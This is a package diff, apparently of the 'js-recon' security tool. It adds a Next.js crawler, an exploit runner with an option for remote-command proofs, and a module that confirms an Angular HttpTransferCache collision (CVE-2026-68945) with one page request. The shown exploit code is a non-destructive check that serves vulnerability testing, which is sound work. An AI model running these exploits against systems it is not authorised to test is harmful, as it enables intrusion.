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"}
+{"version":3,"file":"client_subsequentRequests.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_subsequentRequests.ts"],"names":[],"mappings":"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"}

package/build/exploit/angular/cve-2026-68945.js

@@ -0,0 +1,61 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import rawRequest from "../utility/rawRequest.js";
+/** Looks like a per-request timestamp/nonce field an app might echo (e.g. "receivedAt": 172...). */
+const TIMESTAMP_FIELD = /"(?:receivedAt|timestamp|generatedAt|servedAt)"\s*:\s*("[^"]+"|[\d.]+)/i;
+/**
+ * HttpTransferCache is a *within-one-SSR-render* cache — it de-duplicates identical HttpClient
+ * calls made during server-side rendering by embedding the first call's response in the page's
+ * TransferState payload for the client to reuse during hydration, rather than a cross-request
+ * reverse-proxy-style cache. The collision therefore isn't observable across two independent
+ * requests to a plain API route — it only fires within a single page render that itself issues
+ * two colliding-but-differently-encoded HttpClient calls (as this app's component does: a
+ * `?tag=a&tag=b` call followed by a chained `?tag=a,b` call). So the exploit is a single request
+ * for the SSR-rendered page, extracting both calls' results from the rendered markup.
+ */
+export const extractLabeledResult = (html, label) => {
+    var _a, _b;
+    const startIndex = html.indexOf(label);
+    if (startIndex === -1)
+        return null;
+    const closingTagIndex = html.indexOf("</p>", startIndex);
+    const segment = closingTagIndex === -1 ? html.slice(startIndex) : html.slice(startIndex, closingTagIndex);
+    return (_b = (_a = TIMESTAMP_FIELD.exec(segment)) === null || _a === void 0 ? void 0 : _a[1]) !== null && _b !== void 0 ? _b : null;
+};
+const cve202668945 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const response = yield rawRequest(ctx.baseUrl, { timeout: ctx.timeout, signal: ctx.signal });
+    if (!response) {
+        return { vulnerable: false, evidence: "Request failed (network error).", discoveredUrls: [] };
+    }
+    const resultA = extractLabeledResult(response.body, "CALL_A_RESULT:");
+    const resultB = extractLabeledResult(response.body, "CALL_B_RESULT:");
+    if (!resultA || !resultB) {
+        return {
+            vulnerable: false,
+            evidence: "No timestamp-shaped marker present in the rendered page's call results — cannot confirm HttpTransferCache collision without guessing.",
+            discoveredUrls: [],
+        };
+    }
+    if (resultA === resultB) {
+        return {
+            vulnerable: true,
+            evidence: `HttpTransferCache key collision confirmed: the ?tag=a&tag=b call and the chained ?tag=a,b call both resolved to the same cached response (${resultA}).`,
+            discoveredUrls: [],
+            rawFindingExtras: { sharedTimestamp: resultA },
+        };
+    }
+    return {
+        vulnerable: false,
+        evidence: "The two calls resolved to different responses — no collision.",
+        discoveredUrls: [],
+    };
+});
+export default cve202668945;
+//# sourceMappingURL=cve-2026-68945.js.map

package/build/exploit/angular/cve-2026-68945.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2026-68945.js","sourceRoot":"","sources":["../../../src/exploit/angular/cve-2026-68945.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAGlD,oGAAoG;AACpG,MAAM,eAAe,GAAG,yEAAyE,CAAC;AAElG;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,oBAAoB,GAAG,CAAC,IAAY,EAAE,KAAa,EAAiB,EAAE;;IAC/E,MAAM,UAAU,GAAG,IAAI,CAAC,OAAO,CAAC,KAAK,CAAC,CAAC;IACvC,IAAI,UAAU,KAAK,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IACnC,MAAM,eAAe,GAAG,IAAI,CAAC,OAAO,CAAC,MAAM,EAAE,UAAU,CAAC,CAAC;IACzD,MAAM,OAAO,GAAG,eAAe,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,UAAU,EAAE,eAAe,CAAC,CAAC;IAC1G,OAAO,MAAA,MAAA,eAAe,CAAC,IAAI,CAAC,OAAO,CAAC,0CAAG,CAAC,CAAC,mCAAI,IAAI,CAAC;AACtD,CAAC,CAAC;AAEF,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,GAAG,CAAC,OAAO,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;IAC7F,IAAI,CAAC,QAAQ,EAAE,CAAC;QACZ,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,iCAAiC,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IAClG,CAAC;IAED,MAAM,OAAO,GAAG,oBAAoB,CAAC,QAAQ,CAAC,IAAI,EAAE,gBAAgB,CAAC,CAAC;IACtE,MAAM,OAAO,GAAG,oBAAoB,CAAC,QAAQ,CAAC,IAAI,EAAE,gBAAgB,CAAC,CAAC;IAEtE,IAAI,CAAC,OAAO,IAAI,CAAC,OAAO,EAAE,CAAC;QACvB,OAAO;YACH,UAAU,EAAE,KAAK;YACjB,QAAQ,EACJ,uIAAuI;YAC3I,cAAc,EAAE,EAAE;SACrB,CAAC;IACN,CAAC;IAED,IAAI,OAAO,KAAK,OAAO,EAAE,CAAC;QACtB,OAAO;YACH,UAAU,EAAE,IAAI;YAChB,QAAQ,EAAE,6IAA6I,OAAO,IAAI;YAClK,cAAc,EAAE,EAAE;YAClB,gBAAgB,EAAE,EAAE,eAAe,EAAE,OAAO,EAAE;SACjD,CAAC;IACN,CAAC;IAED,OAAO;QACH,UAAU,EAAE,KAAK;QACjB,QAAQ,EAAE,+DAA+D;QACzE,cAAc,EAAE,EAAE;KACrB,CAAC;AACN,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}

package/build/exploit/index.js

@@ -0,0 +1,60 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import chalk from "chalk";
+import { findCveMetadata, groupedByFramework } from "./registry/cveRegistry.js";
+import { toExploitFinding, generateExploitOutput } from "./utility/outputHelper.js";
+import { toEngineOutput } from "./utility/toEngineOutput.js";
+import { printMsg, MSG } from "../utility/printMsg.js";
+import { generateEngineOutput } from "../analyze/helpers/outputHelper.js";
+export { CVE_REGISTRY, groupedByFramework } from "./registry/cveRegistry.js";
+/**
+ * Runs a single CVE exploit against a target and writes both output files.
+ *
+ * @param url Target base URL
+ * @param cveId CVE identifier to attempt (case-insensitive)
+ * @param options Output paths, exec command for RCE-class proofs, and request tuning
+ */
+const exploit = (url, cveId, options) => __awaiter(void 0, void 0, void 0, function* () {
+    printMsg(MSG.Header, `[i] Running 'exploit' module against ${url} (${cveId})`);
+    const cve = findCveMetadata(cveId);
+    if (!cve) {
+        printMsg(MSG.Err, `[!] Unknown CVE "${cveId}". Run 'js-recon exploit --list-cve' to see supported CVEs.`);
+        process.exit(1);
+    }
+    const handler = yield cve.handler();
+    const ctx = {
+        baseUrl: url,
+        timeout: options.timeout,
+        insecure: options.insecure,
+        execCmd: options.execCmd,
+    };
+    const outcome = yield handler(ctx);
+    if (outcome.vulnerable) {
+        printMsg(MSG.Run, `[✓] VULNERABLE: ${cve.id} — ${outcome.evidence}`);
+    }
+    else {
+        printMsg(MSG.Info, `[i] Not vulnerable: ${cve.id} — ${outcome.evidence}`);
+    }
+    generateExploitOutput(options.output, [toExploitFinding(cve.id, cve.commonName, cve.framework, url, outcome)]);
+    generateEngineOutput(options.engineOutput, [toEngineOutput(cve, url, outcome)]);
+});
+/** Prints all supported CVEs grouped by framework (alphabetical), sorted by CVE ID within each group. */
+export const printCveList = () => {
+    for (const [framework, cves] of groupedByFramework()) {
+        console.log(chalk.cyan(`\n[${framework}]`));
+        for (const cve of cves) {
+            console.log(`  ${chalk.green(cve.id)} ${chalk.dim(`(${cve.commonName})`)}`);
+            console.log(`    ${chalk.dim(cve.description)}`);
+        }
+    }
+    console.log();
+};
+export default exploit;
+//# sourceMappingURL=index.js.map

package/build/exploit/index.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/exploit/index.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,eAAe,EAAE,kBAAkB,EAAE,MAAM,2BAA2B,CAAC;AAChF,OAAO,EAAE,gBAAgB,EAAE,qBAAqB,EAAE,MAAM,2BAA2B,CAAC;AACpF,OAAO,EAAE,cAAc,EAAE,MAAM,6BAA6B,CAAC;AAC7D,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,wBAAwB,CAAC;AACvD,OAAO,EAAE,oBAAoB,EAAqB,MAAM,oCAAoC,CAAC;AAG7F,OAAO,EAAE,YAAY,EAAE,kBAAkB,EAAE,MAAM,2BAA2B,CAAC;AAE7E;;;;;;GAMG;AACH,MAAM,OAAO,GAAG,CACZ,GAAW,EACX,KAAa,EACb,OAMC,EACY,EAAE;IACf,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,wCAAwC,GAAG,KAAK,KAAK,GAAG,CAAC,CAAC;IAE/E,MAAM,GAAG,GAAG,eAAe,CAAC,KAAK,CAAC,CAAC;IACnC,IAAI,CAAC,GAAG,EAAE,CAAC;QACP,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,oBAAoB,KAAK,6DAA6D,CAAC,CAAC;QAC1G,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACpB,CAAC;IAED,MAAM,OAAO,GAAG,MAAM,GAAG,CAAC,OAAO,EAAE,CAAC;IACpC,MAAM,GAAG,GAAmB;QACxB,OAAO,EAAE,GAAG;QACZ,OAAO,EAAE,OAAO,CAAC,OAAO;QACxB,QAAQ,EAAE,OAAO,CAAC,QAAQ;QAC1B,OAAO,EAAE,OAAO,CAAC,OAAO;KAC3B,CAAC;IAEF,MAAM,OAAO,GAAG,MAAM,OAAO,CAAC,GAAG,CAAC,CAAC;IAEnC,IAAI,OAAO,CAAC,UAAU,EAAE,CAAC;QACrB,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,mBAAmB,GAAG,CAAC,EAAE,MAAM,OAAO,CAAC,QAAQ,EAAE,CAAC,CAAC;I